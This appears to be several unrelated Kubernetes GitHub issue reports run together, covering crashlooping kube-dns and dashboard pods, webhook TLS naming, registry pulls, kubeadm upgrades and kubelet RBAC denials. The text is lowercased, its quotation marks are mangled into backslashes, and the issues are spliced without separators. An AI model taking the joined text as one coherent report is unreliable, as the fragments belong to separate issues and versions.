ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   default-token-xv2t6:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-xv2t6\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t\t--------\t------\t\t-------\r   16m\t\t16m\t\t1\tdefault-scheduler\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned kube-dns-3365905565-m4cpk to 10.193.20.23\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubedns}\t\tnormal\t\tcreated\t\tcreated container with docker id 5f33cfdc73b8; security: seccomp=unconfined \r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubedns}\t\tnormal\t\tstarted\t\tstarted container with docker id 5f33cfdc73b8\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq}\t\tnormal\t\tstarted\t\tstarted container with docker id 34dbfaa5d2cb\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq}\t\tnormal\t\tcreated\t\tcreated container with docker id 34dbfaa5d2cb; security: seccomp=unconfined \r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{healthz}\t\tnormal\t\tpulled\t\tcontainer image \ gcr.io/google_containers/exechealthz-arm64:1.2\  already present on machine\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\tnormal\t\tcreated\t\tcreated container with docker id 0f538ded9eaa; security: seccomp=unconfined \r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\twarning\t\tfailed\t\tfailed to start container with docker id 0f538ded9eaa with error: error response from daemon: {\ message\ :\ linux spec user: unable to find group nobody: no matching entries in group file\ }\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{healthz}\t\tnormal\t\tcreated\t\tcreated container with docker id af618e756148; security: seccomp=unconfined \r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{healthz}\t\tnormal\t\tstarted\t\tstarted container with docker id af618e756148\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\twarning\t\tfailed\t\tfailed to start container with docker id ba6bfaa6138e with error: error response from daemon: {\ message\ :\ linux spec user: unable to find group nobody: no matching entries in group file\ }\r   15m\t\t15m\t\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\tnormal\t\tcreated\t\tcreated container with docker id ba6bfaa6138e; security: seccomp=unconfined \r   15m\t\t15m\t\t2\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq-metrics\  with crashloopbackoff: \ back-off 10s restarting failed container=dnsmasq-metrics pod=kube-dns-3365905565-m4cpk_kube-system 33636ec0-5259-11e7-adb6-6805ca369d7f \ \r \r   15m\t15m\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\tnormal\tcreated\t\tcreated container with docker id 4c685e27cc1c; security: seccomp=unconfined \r   15m\t15m\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\twarning\tfailed\t\tfailed to start container with docker id 4c685e27cc1c with error: error response from daemon: {\ message\ :\ linux spec user: unable to find group nobody: no matching entries in group file\ }\r   14m\t14m\t1\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq-metrics\  with crashloopbackoff: \ back-off 20s restarting failed container=dnsmasq-metrics pod=kube-dns-3365905565-m4cpk_kube-system 33636ec0-5259-11e7-adb6-6805ca369d7f \ \r \r   14m\t14m\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\tnormal\tcreated\t\tcreated container with docker id 54962cb1f8b1; security: seccomp=unconfined \r   14m\t14m\t1\tkubelet, 10.193.20.23\tspec.containers{dnsmasq-metrics}\twarning\tfailed\t\tfailed to start container with docker id 54962cb1f8b1 with error: error response from daemon: {\ message\ :\ linux spec user: unable to find group nobody: no matching entries in group file\ }\r   14m\t14m\t3\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq-metrics\  with crashloopbackoff: \ back-off 40s restarting failed container=dnsmasq-metrics pod=kube-dns-3365905565-m4cpk_kube-system 33636ec0-5259-11e7-adb6-6805ca369d7f \ \r \r    3. kubectl describe pods kubernetes-dashboard-1416335539-dcf40 --namespace=kube-system\r name:\t\tkubernetes-dashboard-1416335539-dcf40\r namespace:\tkube-system\r node:\t\t10.193.20.23/10.193.20.23\r start time:\tfri, 16 jun 2017 14:01:09 +0800\r labels:\t\tk8s-app=kubernetes-dashboard\r \t\tpod-template-hash=1416335539\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kubernetes-dashboard-1416335539\ ,\ uid\ :\ 31bf6a24-5259-11e7-a...\r \t\tscheduler.alpha.kubernetes.io/critical-pod=\r \t\tscheduler.alpha.kubernetes.io/tolerations= {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \r status:\t\trunning\r ip:\t\t10.1.5.2\r controllers:\treplicaset/kubernetes-dashboard-1416335539\r containers:\r   kubernetes-dashboard:\r     container id:\tdocker://e699e5591f12bd43a07d83dcbe771f61a46e4c3a617dd649c845ae8d9fab4552\r     image:\t\tgcr.io/google_containers/kubernetes-dashboard-arm64:v1.5.0\r     image id:\t\tdocker-pullable://gcr.io/google_containers/kubernetes-dashboard-arm64@sha256:559d58ef0d8e9dbe78f80060401b97d6262462318c0b8e071937a73896ea1d3d\r     port:\t\t9090/tcp\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t1\r       started:\t\tfri, 16 jun 2017 14:16:11 +0800\r       finished:\t\tfri, 16 jun 2017 14:16:42 +0800\r     ready:\t\tfalse\r     restart count:\t7\r     limits:\r       cpu:\t100m\r       memory:\t50mi\r     requests:\r       cpu:\t\t100m\r       memory:\t\t50mi\r     liveness:\t\thttp-get http://:9090/ delay=30s timeout=30s period=10s  success=1  failure=3\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-xv2t6  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   default-token-xv2t6:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-xv2t6\r     optional:\tfalse\r qos class:\tguaranteed\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t\t--------\t------\t\t-------\r   18m\t\t18m\t\t1\tdefault-scheduler\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned kubernetes-dashboard-1416335539-dcf40 to 10.193.20.23\r   17m\t\t17m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\t\tcreated\t\tcreated container with docker id 9390496e28cc; security: seccomp=unconfined \r   17m\t\t17m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\t\tstarted\t\tstarted container with docker id 9390496e28cc\r   17m\t\t17m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\t\tcreated\t\tcreated container with docker id 90fc78a46624; security: seccomp=unconfined \r   17m\t\t17m\t\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\t\tstarted\t\tstarted container with docker id 90fc78a46624\r   16m\t\t16m\t\t2\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 10s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \ \r \r   16m\t16m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id 67cd9d128d30; security: seccomp=unconfined \r   16m\t16m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id 67cd9d128d30\r   15m\t15m\t3\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 20s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \ \r \r   15m\t15m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id 73a446633068; security: seccomp=unconfined \r   15m\t15m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id 73a446633068\r   17m\t14m\t3\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\twarning\tunhealthy\tliveness probe failed: get http://10.1.5.2:9090/: dial tcp 10.1.5.2:9090: getsockopt: connection refused\r   14m\t14m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tkilling\t\tkilling container with docker id 73a446633068: pod \ kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \  container \ kubernetes-dashboard\  is unhealthy, it will be killed and re-created.\r   14m\t14m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id 258b6cb7accb; security: seccomp=unconfined \r   14m\t14m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id 258b6cb7accb\r   13m\t12m\t7\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \ \r \r   12m\t12m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id 965d3cb6f3a7; security: seccomp=unconfined \r   12m\t12m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id 965d3cb6f3a7\r   11m\t9m\t13\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \ \r \r   8m\t8m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id 16a180e49772; security: seccomp=unconfined \r   8m\t8m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id 16a180e49772\r   17m\t3m\t8\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tpulled\t\tcontainer image \ gcr.io/google_containers/kubernetes-dashboard-arm64:v1.5.0\  already present on machine\r   3m\t3m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tcreated\t\tcreated container with docker id e699e5591f12; security: seccomp=unconfined \r   3m\t3m\t1\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\tnormal\tstarted\t\tstarted container with docker id e699e5591f12\r   8m\t2s\t37\tkubelet, 10.193.20.23\t\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-1416335539-dcf40_kube-system 31c4c230-5259-11e7-adb6-6805ca369d7f \ \r \r   16m\t2s\t62\tkubelet, 10.193.20.23\tspec.containers{kubernetes-dashboard}\twarning\tbackoff\tback-off restarting failed docker container\r \r   4. kubectl get all --all-namespaces\r namespace     name                                       ready     status             restarts   age\r kube-system   po/k8s-master-10.193.20.34                 4/4       running            51         18m\r kube-system   po/k8s-proxy-v1-9n9l7                      1/1       running            0          19m\r kube-system   po/kube-addon-manager-10.193.20.34         2/2       running            4          18m\r kube-system   po/kube-dns-3365905565-m4cpk               2/4       crashloopbackoff   22         19m\r kube-system   po/kubernetes-dashboard-1416335539-dcf40   0/1       crashloopbackoff   7          19m\r \r namespace     name                       cluster-ip   external-ip   port s          age\r default       svc/kubernetes             10.0.0.1     <none>        443/tcp         19m\r kube-system   svc/kube-dns               10.0.0.10    <none>        53/udp,53/tcp   19m\r kube-system   svc/kubernetes-dashboard   10.0.0.95    <none>        80/tcp          19m\r \r namespace     name                          desired   current   up-to-date   available   age\r kube-system   deploy/kube-dns               1         1         1            0           19m\r kube-system   deploy/kubernetes-dashboard   1         1         1            0           19m\r \r namespace     name                                 desired   current   ready     age\r kube-system   rs/kube-dns-3365905565               1         1         0         19m\r kube-system   rs/kubernetes-dashboard-1416335539   1         1         0         19m\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gpu-1-7/23\r \r @vishh could you take a look?

otherwise it's impossible for the webhook author to pre-generate a server cert. the webhook admission plugin should set the  servername  like the aggregator  does  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.0/staging/src/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go l200 .\r \r more details: the webhook's server cert requires a san or a cn. it has to be a stable name so that webhook author can generate it before deploying the webhook. it can't be the service's clusterip, because the admission plugin sends the request to the  endpoint  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.0/plugin/pkg/admission/webhook/admission.go l240  directly. it can't be the endpoint's ip because that's dynamic. the aggregator faces the same problem, and it solves it by put the service's dns label in the cert and plumbs the name to  tlsconfig.servername .

i run a dashboard which used my private docker registry with kube 1.9.0.\r first, i had create one secret  ,and i can  pull image with \ docker pull\  use the username and password which in dockercfg.\r ! image  https://user-images.githubusercontent.com/312469/34070814-5c3128b8-e2a7-11e7-9043-f00fcf99bada.png \r but, the kubelet can't pull image.\r ! image  https://user-images.githubusercontent.com/312469/34070753-c490c87e-e2a6-11e7-8b94-a656a04a6758.png \r ! image  https://user-images.githubusercontent.com/312469/34070761-ddef74f0-e2a6-11e7-9a75-1013e70093bb.png \r this is the kubelet log :\r ! image  https://user-images.githubusercontent.com/312469/34070789-1ec9d556-e2a7-11e7-9f06-a6aaa8e4cc73.png \r \r

bug report:\r \r  \r  \r @k8s-sig-onprem-bugs   kubeadm upgrade plan command is not working in the version v1.7.5. we are planning to upgrade the cluster v1.75 to v1.9.x. could you please advise me the kubeadm command available in v1.7.5?\r \r \r   is this a bug report   :\r \r  root@machienname     kubeadm version  \r kubeadm version: &version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@machinename     kubeadm upgrade apply v1.9.6  \r error: unknown command \ upgrade\  for \ kubeadm\ \r run 'kubeadm --help' for usage.\r  root@machinename     uname -a  \r linux machinenmae 3.10.0-693.17.1.el7.x86_64  1 smp sun jan 14 10:36:03 est 2018 x86_64 x86_64 x86_64 gnu/linux\r  root@machinename     kubectl version  \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.7.5\r - cloud provider or hardware configuration: on-premise\r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.4  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.4\ \r pretty_name=\ red hat enterprise linux server 7.4  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.4:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.4\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.4\ \r - kernel  e.g.  uname -a  :linux machinename 3.10.0-693.17.1.el7.x86_64  1 smp sun jan 14 10:36:03 \r - install tools:\r - others:\r 

we need this for both the compilation phase and the release packaging phase. building a release is incredibly inefficient right now and a huge development slowdown.

i thought this used to work, but i just deleted    /etc/kubernetes/addons/cluster-monitoring  to get rid of influx and  /etc/kubernetes/addons/fluentd-elasticsearch  to turn off elasticsearch, and the pods/rcs remained.  i had to do this manually:      kubectl delete rc --namespace=kube-system elasticsearch-logging-v1 kubectl delete rc --namespace=kube-system kibana-logging-v1 ubectl delete rc --namespace=kube-system monitoring-influxdb-grafana-v3 kubectl delete service --namespace=kube-system elasticsearch-logging kubectl delete service --namespace=kube-system kibana-logging kubectl delete service --namespace=kube-system monitoring-grafana kubectl delete service --namespace=kube-system monitoring-influxdb      is this intended?  is there a better way?

what - let the user override the default  change-cause  generated by  kubectl  by specifying it in the  metadata  of the resource file  example: ! image  https://cloud.githubusercontent.com/assets/52489/15233372/04024156-185d-11e6-8d1f-9f4131bd7829.png     why - the automatic annotations are not very helpful if the same command is always executed - the end-user can provide more meaningful annotations in the context of their application  i.e. git commit messages, git hash, release version, etc     note  specifying  change-cause  sometimes works. not sure if this is due to a race-condition.  ! image  https://cloud.githubusercontent.com/assets/52489/15233410/59bfb98e-185d-11e6-9989-0822b4c1d1a7.png

version: kubernetes-v1.4.0 os: rhel 7.1 cloud-provider: baremetal/'' docker version: 1.12.1  noticing below error log in kubelet logs every 5 mins:  e1004 23:56:49.188958    8353 container_manager_linux.go:567  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory  in our setup, docker-containerd pid is in  /var/run/docker/libcontainerd/docker-containerd.pid . since the code seems to fallback to  pidof/procfs.pid , does this needs to be logged at error level?  @derekwaynecarr @yujuhong

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubelet rbac\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r \r   kubernetes version    use  kubectl version  :\r    console\r > cluster/kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.622+2e005f5ace2613\ , gitcommit:\ 2e005f5ace2613eaa3117aa2aaee318b4c337c92\ , gittreestate:\ clean\ , builddate:\ 2017-02-09t23:39:22z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.622+2e005f5ace2613\ , gitcommit:\ 2e005f5ace2613eaa3117aa2aaee318b4c337c92\ , gittreestate:\ clean\ , builddate:\ 2017-02-09t22:51:11z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   install tools  : make quick-release && go run hack/e2e.go -up\r \r   what happened  : i upgraded the cluster with \r \r    console\r > go run ./hack/e2e.go --check_version_skew=false --v=t --test --test_args=\ --ginkgo.focus=\\ feature:masterupgrade\\  --upgrade-target=ci/latest --upgrade-image=gci\ \r    \r \r after which the master node was not ready.\r \r    console\r > kubectl get nodes e2e-test-krousey-master\r name                      status                        age\r e2e-test-krousey-master   notready,schedulingdisabled   36m\r    \r \r    console\r > kubectl describe node e2e-test-krousey-master                                                                                                                                         \r name:\t\t\te2e-test-krousey-master\r role:\t\t\t\r labels:\t\t\talpha.kubernetes.io/fluentd-ds-ready=true\r \t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=n1-standard-1\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-central1\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-central1-b\r \t\t\tkubernetes.io/hostname=e2e-test-krousey-master\r taints:\t\t\tnode.alpha.kubernetes.io/ismaster:noschedule\r creationtimestamp:\tthu, 09 feb 2017 15:50:49 -0800\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   networkunavailable \tfalse \t\tthu, 09 feb 2017 15:51:21 -0800 \tthu, 09 feb 2017 15:51:21 -0800 \troutecreated \t\t\troutecontroller created a route\r   outofdisk \t\tunknown \tthu, 09 feb 2017 15:56:11 -0800 \tthu, 09 feb 2017 16:00:58 -0800 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   memorypressure \tfalse \t\tthu, 09 feb 2017 15:56:11 -0800 \tthu, 09 feb 2017 15:50:49 -0800 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \t\tthu, 09 feb 2017 15:56:11 -0800 \tthu, 09 feb 2017 15:50:49 -0800 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\tunknown \tthu, 09 feb 2017 15:56:11 -0800 \tthu, 09 feb 2017 16:00:58 -0800 \tnodestatusunknown \t\tkubelet stopped posting node status.\r addresses:\t\t10.240.0.2,130.211.214.169,e2e-test-krousey-master\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t1\r  memory:\t\t\t\t3788484ki\r  pods:\t\t\t\t\t110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t1\r  memory:\t\t\t\t3788484ki\r  pods:\t\t\t\t\t110\r system info:\r  machine id:\t\t\td3062544e4e590644bd6058a853cf12d\r  system uuid:\t\t\td3062544-e4e5-9064-4bd6-058a853cf12d\r  boot id:\t\t\tfecb328e-375f-46a5-8c78-12617921ada3\r  kernel version:\t\t4.4.21+\r  os image:\t\t\tcontainer-optimized os from google\r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.11.2\r  kubelet version:\t\tv1.6.0-alpha.1.622+2e005f5ace2613\r  kube-proxy version:\t\tv1.6.0-alpha.1.622+2e005f5ace2613\r podcidr:\t\t\t10.180.0.0/24\r externalid:\t\t\t435579895896162613\r non-terminated pods:\t\t 11 in total \r   namespace\t\t\tname\t\t\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t\t\t------------\t----------\t---------------\t-------------\r   kube-system\t\t\tetcd-empty-dir-cleanup-e2e-test-krousey-master\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tetcd-server-e2e-test-krousey-master\t\t\t200m  20% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tetcd-server-events-e2e-test-krousey-master\t\t100m  10% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tfluentd-gcp-v1.35-8qczw\t\t\t\t\t100m  10% \t0  0% \t\t200mi  5% \t200mi  5% \r   kube-system\t\t\tkube-addon-manager-e2e-test-krousey-master\t\t5m  0% \t\t0  0% \t\t50mi  1% \t0  0% \r   kube-system\t\t\tkube-apiserver-e2e-test-krousey-master\t\t\t250m  25% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tkube-controller-manager-e2e-test-krousey-master\t\t200m  20% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tkube-scheduler-e2e-test-krousey-master\t\t\t100m  10% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tl7-lb-controller-v0.9.0-e2e-test-krousey-master\t\t10m  1% \t0  0% \t\t50mi  1% \t0  0% \r   kube-system\t\t\tnode-problem-detector-v0.1-tnk92\t\t\t20m  2% \t200m  20% \t20mi  0% \t100mi  2% \r   kube-system\t\t\trescheduler-v0.2.1-e2e-test-krousey-master\t\t10m  1% \t0  0% \t\t100mi  2% \t0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted.\r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   995m  99% \t200m  20% \t420mi  11% \t300mi  8% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t-------------\t--------\t------\t\t\t-------\r   35m\t\t35m\t\t34\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehassufficientdisk\tnode e2e-test-krousey-master status is now: nodehassufficientdisk\r   35m\t\t35m\t\t34\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehassufficientmemory\tnode e2e-test-krousey-master status is now: nodehassufficientmemory\r   35m\t\t35m\t\t34\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehasnodiskpressure\tnode e2e-test-krousey-master status is now: nodehasnodiskpressure\r   34m\t\t34m\t\t1\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodeready\t\tnode e2e-test-krousey-master status is now: nodeready\r   26m\t\t6s\t\t258\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehassufficientdisk\tnode e2e-test-krousey-master status is now: nodehassufficientdisk\r   26m\t\t6s\t\t258\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehassufficientmemory\tnode e2e-test-krousey-master status is now: nodehassufficientmemory\r   26m\t\t6s\t\t258\t{kubelet e2e-test-krousey-master}\t\t\tnormal\t\tnodehasnodiskpressure\tnode e2e-test-krousey-master status is now: nodehasnodiskpressure\r    \r \r   what you expected to happen  :\r  i expected the master node to be ready.\r \r   how to reproduce it    as minimally and precisely as possible :\r    console\r > make quick-release && go run ./hack/e2e.go --check_version_skew=false --v=t --test --test_args=\ --ginkgo.focus=\\ feature:masterupgrade\\  --upgrade-target=ci/latest --upgrade-image=gci\ \r > kubectl get nodes\r    \r \r   anything else we need to know  :\r in the api server logs: \r    \r i0210 00:09:21.637321       5 rbac.go:70  rbac deny: user \ kubelet\  groups  system:nodes system:authenticated  cannot \ delete\  on \ nodes./\  cluster-wide\r i0210 00:09:28.658882       5 rbac.go:70  rbac deny: user \ kubelet\  groups  system:nodes system:authenticated  cannot \ delete\  on \ nodes./\  cluster-wide\r i0210 00:09:35.681493       5 rbac.go:70  rbac deny: user \ kubelet\  groups  system:nodes system:authenticated  cannot \ delete\  on \ nodes./\  cluster-wide\r    \r \r in the kubelet logs:\r    \r feb 10 00:31:49 e2e-test-krousey-master kubelet 1417 : e0210 00:31:49.809861    1417 kubelet_node_status.go:149  previously node \ e2e-test-krousey-master\  had externalid \ 3897668289202011909\ ; now it is \ 435579895896162613\ ; will delete and recreate.\r feb 10 00:31:49 e2e-test-krousey-master kubelet 1417 : e0210 00:31:49.810890    1417 kubelet_node_status.go:151  unable to register node \ e2e-test-krousey-master\  with api server: error deleting old node: user \ kubelet\  cannot delete nodes at the cluster scope.  delete nodes e2e-test-krousey-master \r feb 10 00:31:56 e2e-test-krousey-master kubelet 1417 : e0210 00:31:56.827536    1417 kubelet_node_status.go:149  previously node \ e2e-test-krousey-master\  had externalid \ 3897668289202011909\ ; now it is \ 435579895896162613\ ; will delete and recreate.\r feb 10 00:31:56 e2e-test-krousey-master kubelet 1417 : e0210 00:31:56.828950    1417 kubelet_node_status.go:151  unable to register node \ e2e-test-krousey-master\  with api server: error deleting old node: user \ kubelet\  cannot delete nodes at the cluster scope.  delete nodes e2e-test-krousey-master \r

